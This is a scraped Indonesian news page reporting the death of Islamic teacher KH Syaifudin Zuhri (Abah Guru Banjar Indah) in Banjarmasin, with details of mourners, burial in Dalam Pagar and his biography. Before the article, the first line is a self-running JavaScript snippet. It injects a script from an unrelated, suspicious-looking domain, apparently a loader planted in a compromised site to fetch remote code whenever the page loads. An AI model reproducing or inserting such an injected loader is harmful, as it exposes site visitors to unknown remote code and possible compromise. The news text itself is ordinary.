(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.CON, BANJARMASIN – Warga Banjarmasin berbondong-bondong datang ke kawasan Banjar Indah Kota Banjarmasin setelah mendengar kabar wafat KH Syaifudin Zuhri, Minggu (7/4/2024) siang.
Pantauan Kanalkalimantan.com di rumah duka, pelayat laki-laki maupun perempuan memenuhi kawasan Majelis Taklim Bani Ismail untuk sekedar melayat atau ikut menshalatkan.
Berdasarkan informasi, jenazah Tuan Guru Banjar Indah akan dikebumikan di tempat kelahiran beliau di kampung Dalam Pagar, Kecamatan Martapura Timur, Kabupaten Banjar.
Baca juga: Kemeriahan Lomba Menabuh Beduk Menutup Banjarbaru Ramadan Festival 2024
Jenazah setelah dishalatkan di rumah duka Banjarmasin akan langsung dibawa ke Dalam Pagar untuk dikebumikan bada shalat Ashar.
“Dimakamkan di kubah Datu Ismail Khatib Dalam Pagar Martapura setelah bada Ashar,” kata Riko, salah seorang relawan di rumah duka.
Sebelumnya dikabarkan KH Syaifuddin Zuhri atau dikenal Abah Guru Banjar Indah wafat, Minggu (7/4/2024) siang sekitar pukul 10.30 Wita.
Beliau wafat di Rumah Sakit Sultan Agung, Kota Banjarbaru setelah sempat menjalani perawatan. KH Syaifudin Zuhri wafat di usia 72 tahun.
KH Syaifudin Zuhri sendiri diketahui memimpin pengajian ruitin bernama Majelis Taklim Bani Ismail yang berlokasi di Jalan Raya Banjar Indah, Kecamatan Banjarmasin Selatan, Kota Banjarmasin. Karena pengajiannya yang berada di kawasan Banjar Indah maka KH Syaifudin akrab disebut Abah Guru Banjar Indah.
Baca juga: Batamat Al Qur’an Ibu-ibu Majelis Taklim Masjid Nurul Ishlah Banjarmasin
Mengutip hasil penelitian UIN Antasari Banjarmasin, Tuan Guru H Syaifudin Zuhri lahir di Dalam Pagar, Martapura pada tanggal 20 Oktober 1952.
Beliau adalah putra dari Abdurrahman Ismail yang dulu pernah mengabdi dan mengajar di Pondok Pesantren Darussalam Martapura serta saudara sepupu almarhum guru Isryad Zien (Abdu Daudi) Dalam Pagar dan bersepupu juga dengan almarhum Tuan Guru Anang Djazouli Seman Martapura.
KH Syaifudin Zuhri juga merupakan murid dari Abah Guru Sekumpul (KH Zaini bin Abdul Ghani) serta Guru Bangil (KH Muhammad Syarwani Abdan). Pendidikan terkahir beliau pernah berkuliah di Sekolah Tinggi Ilmu Dakwah (STID) Banjarbaru.
Baca juga: Pemdes Manusup Salurkan BLT Dana Desa Triwulan I
Dalam berdakwah, KH Syaifudin Zuhri sering menceritakan karomah-karomah para ulama terdahulu yang banyak tidak diketahui jemaah serta memberikan amalan-amalan yang dibaca para ulama terdahulu untuk diamalkan.
Penyampaian ceramah KH Syaifudin fokus dan teratur, diselingi cerita humor yang ringan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More
This website uses cookies.